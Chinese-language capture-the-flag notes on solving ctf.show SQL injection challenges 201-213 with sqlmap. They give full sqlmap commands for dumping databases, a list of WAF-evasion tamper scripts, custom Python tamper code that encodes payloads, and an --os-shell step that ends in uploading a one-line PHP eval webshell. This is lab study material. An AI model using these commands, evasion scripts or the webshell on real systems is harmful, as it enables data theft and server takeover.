sqlmap 手册
https://github.com/sqlmapproject/sqlmap/wiki/Usage
标准模板如下
检测注入类型
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show
爆数据库
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show --dbs
爆表
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D
ctfshow_web --tables
爆列
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D
ctfshow_web -T ctfshow_user --columns
爆值
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D
ctfshow_web -T ctfshow_user --dump
极速版
--tech=U来让sqlmap只测试联合查询注入,
--flush-session意思是每次刷新会话,清理上次的缓存。
--proxy=http://127.0.0.1:8080 设置代理
--user-agent 指定agent,用户浏览器版本信息
--referer 上一个网页,访问该网页的来源网页
--data转post请求 --data 'id=1'
--method="PUT" 规定put的http请求
--cookie 设置cookie ,--cookie="???"
--os-shell 上传一个文件上传的窗口
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数,就↑的url
--tamper 脚本目录,里面有很多脚本,但都不咋地,建议自己去写
AI对sqlmap解释
sqlmap指令大全
SQLMap是一个开源的渗透测试工具,它主要用于自动化检测SQL注入漏洞和数据库接管。以下是SQLMap的常用命令和选项:
检测注入:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1"
指定数据库后端:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --dbms="mysql"
列出数据库:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --dbs
列出指定数据库的所有表:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name --tables
列出表中的所有列:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name -T table_name --columns
转储列中的数据:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name -T table_name -C column_name1,column_name2 --dump
使用自定义注入 payloads:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --technique=BU
使用基于错误的注入:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --risk=3 --level=5
通过代理进行渗透测试:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --proxy="http://localhost:8080"
保存输出到文件:
sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -o /path/to/output/file
请注意,使用SQLMap时应遵守当地法律法规,不得用于未经授权的攻击或侵犯他人隐私和数据安全。
201--user-agent--referer
使用--user-agent 指定agent
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
使用--referer 绕过referer检查
--referer="ctf.show",
用下边模板走一下得到flag
202--data参数转化请求方式
通过向命令行加入--data参数转化请求方式为post
这个为什么我抓的bp包是get请求?原来他有个301重定向,被转post再api那里
python sqlmap.py -u http://3702c6fc-0dca-4e2b-aa95-dc334b33eebd.challenge.ctf.show/api/index.php --data 'id=1' --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --dump
203 --method="PUT"
sqlmap -u "??/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --
headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
记得要加上--headers="Content-Type: text/plain" 不然data是以表单形式发送
为什么用put,抓包可以看一下响应:Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS;开启了PUT方法
HTTP/1.1有7种请求方法:1、GET;2、POST;3、PUT;4、DELETE;5、HEAD;6、TRACE;7、OPTIONS;
1、各个方法的作用:
GET | 对这个资源的查操作 |
DELETE | 对这个资源的删操作(注意:客户端无法保证删除操作一定会被执行,因为HTTP规范允许服务器在不通知客 户端的情况下撤销请求) |
HEAD | 与GET方法的行为很类似,但服务器在响应中只返回实体的头部分。可以快速获取资源信息,比如资源类型; 通过查看响应中的状态码,可以确定资源是否存在; 通过查看首部,测试资源是否被修改; |
POST | 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。(适用于更新操作) |
PUT | 从客户端向服务器传送的数据取代指定的文档的内容。(适用于添加操作) |
OPTIONS | 用于获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST” |
TRACE | 会在目的服务器端发起一个“回环”诊断,因为客户端在发起一个请求时,这个请求可能要穿过防火墙、代理、网关、或者其它的一些应用程序。这中间的每个节点都可能会修改原始的HTTP请求,TRACE方法允许客户端在最终将请求发送服务器时,它变成了什么样子。由于有一个“回环”诊断,在请求最终到达服务器时,服务器会弹回一条TRACE响应,并在响应主体中携带它收到的原始请求报文的最终模样。这样客户端就可以查看HTTP请求报文在发送的途中,是否被修改过 |
204--cookie
抓包,把这段复制发过去Cookie: PHPSESSID=j4if79h5gfl14a71fusdmsu78a; ctfshow=2c4bb84e8afeeb07817a48b40756ff1d
sqlmap -u "??/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --
headers="Content-Type: text/plain" --cookie="PHPSESSID=j4if79h5gfl14a71fusdmsu78a; ctfshow=2c4bb84e8afeeb07817a48b40756ff1d" -D
ctfshow_web -T ctfshow_user -C pass --dump
205 api调用需要鉴权
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
--safe-url参数将url设置为api/getToken
--safe-freq=1表示访问api/getToken一次
注意:这里表名他改了,你可以用我207的方法,那样就不用找表列了,知道数据库就行
sqlmap -u "https://9f121023-a47a-4945-9a97-2bc238253162.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1ppi11sivm8adk58b6fkue15fj" --safe-url="https://9f121023-a47a-4945-9a97-2bc238253162.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump
206 闭合
闭合就不用管了,sqlmap会帮我们弄
207--tamper 的初体验
表名改成了ctfshow_flaxca
该使用插件脚本了(运行sqlmap自带的脚本)这里用这里使用space2comment
这个脚本,用/**/
代替空格
你看我下边这个是直接扒数据库的值,跳过找表和列了就,数据库内容全打出来,省事,
sqlmap -u "https://ea8097b1-208b-47b3-9795-85b2c858e3e4.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1ppi11sivm8adk58b6fkue15fj" --safe-url="https://ea8097b1-208b-47b3-9795-85b2c858e3e4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tamper=space2comment.py --dump
下边的笔记后边可能会用上,先放这,常见脚本:
常见的tamper有:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
208--tamper 的2体验
表名改成了ctfshow_flaxcac(看207)
加入对'select' 的过滤,可以用upppercase这个脚本,但是sqlmap默认就是大写的SELECT 直接按照原来的命令也完全可以,但如果是正常操作的话在207命令后面改为--tamper=randomcase.py,space2comment.py
过滤关键词,可以大小写绕过,用到randomcase.py
,同时space2comment.py
也得用上--tamper=randomcase.py,space2comment.py
209-该你写脚本了
题目过滤preg_match('/ |*|\=/', $str);
#!/usr/bin/env python
from lib.core.compat import xrange from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def tamper(payload, **kwargs): payload = space2comment(payload) return payload
def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue
retVal += payload[i]
return retVal
下边是代码解释
主要组件
tamper 函数:
参数: payload 和任意关键字参数 **kwargs。
功能: 调用 space2comment 函数处理 payload 并返回处理后的结果。
space2comment 函数:
参数: payload(字符串)。
功能: 主要逻辑在这里,处理 payload 字符串中的空格,根据条件用制表符 \t 替换空格。
详细分析
初始化:
retVal 被初始化为 payload,并在随后的代码中被用来构建处理后的结果。
quote 和 doublequote 用于标记当前是否在单引号或双引号内。
firstspace 用于标记是否已经遇到第一个空格。
处理过程:
遍历 payload 中的每个字符。
如果 firstspace 为 False(即还没有遇到第一个空格),且当前字符是空白字符(包括空格、制表符等),则将 firstspace 设置为 True,并将 retVal 中的空格替换为制表符 \t。
如果遇到单引号 ',则切换 quote 状态(表示是否在单引号内)。
如果遇到双引号 ",则切换 doublequote 状态(表示是否在双引号内)。
如果遇到等号 =,则在 retVal 中插入制表符 \t 和字符串 'like',然后继续处理。
如果遇到空格并且当前不在单引号或双引号内,则将空格替换为制表符 \t。
其他字符则直接加入到 retVal。
ctf.show官方paload给出以上脚本,复制成新的文件就行了,我用的是kali自带sqlmap在目录usr/share/sqlmap目录里的tamper目录下vim个ctf209.py,然后正常用
sqlmap -u "https://0597b06a-d287-4507-8651-afa54be936f3.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=n2a9bmjl9m4i8r1sun6jpilifo" --safe-url="https://0597b06a-d287-4507-8651-afa54be936f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tamper=ctf209.py --dump
210-212
原题/对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }
再把上面的脚本针对性的修改一下,头部改为下面的代码以方便绕过一些waf
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal
213 --os-shell
我看别人的wp发现做不出来,于是分析了一下 输入的以下代码
sqlmap -u "https://656b46a7-eaee-4806-b021-850f75bf500d.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=f1c4ugmlhuts8btee0t1ijb6sr" --safe-url="https://656b46a7-eaee-4806-b021-850f75bf500d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctf210.py --os-shell
出现
他虽然没弹出os-shell> 这样的命令框,但显示了上传成功,浏览器进去看看
已经给了文件上传的页面,那就上传了一句话木马<?php @eval($_POST[1]);?>的1.php文件
成功拿到shell
00
有交流学习讨论建议改错的可以v:lidd123456a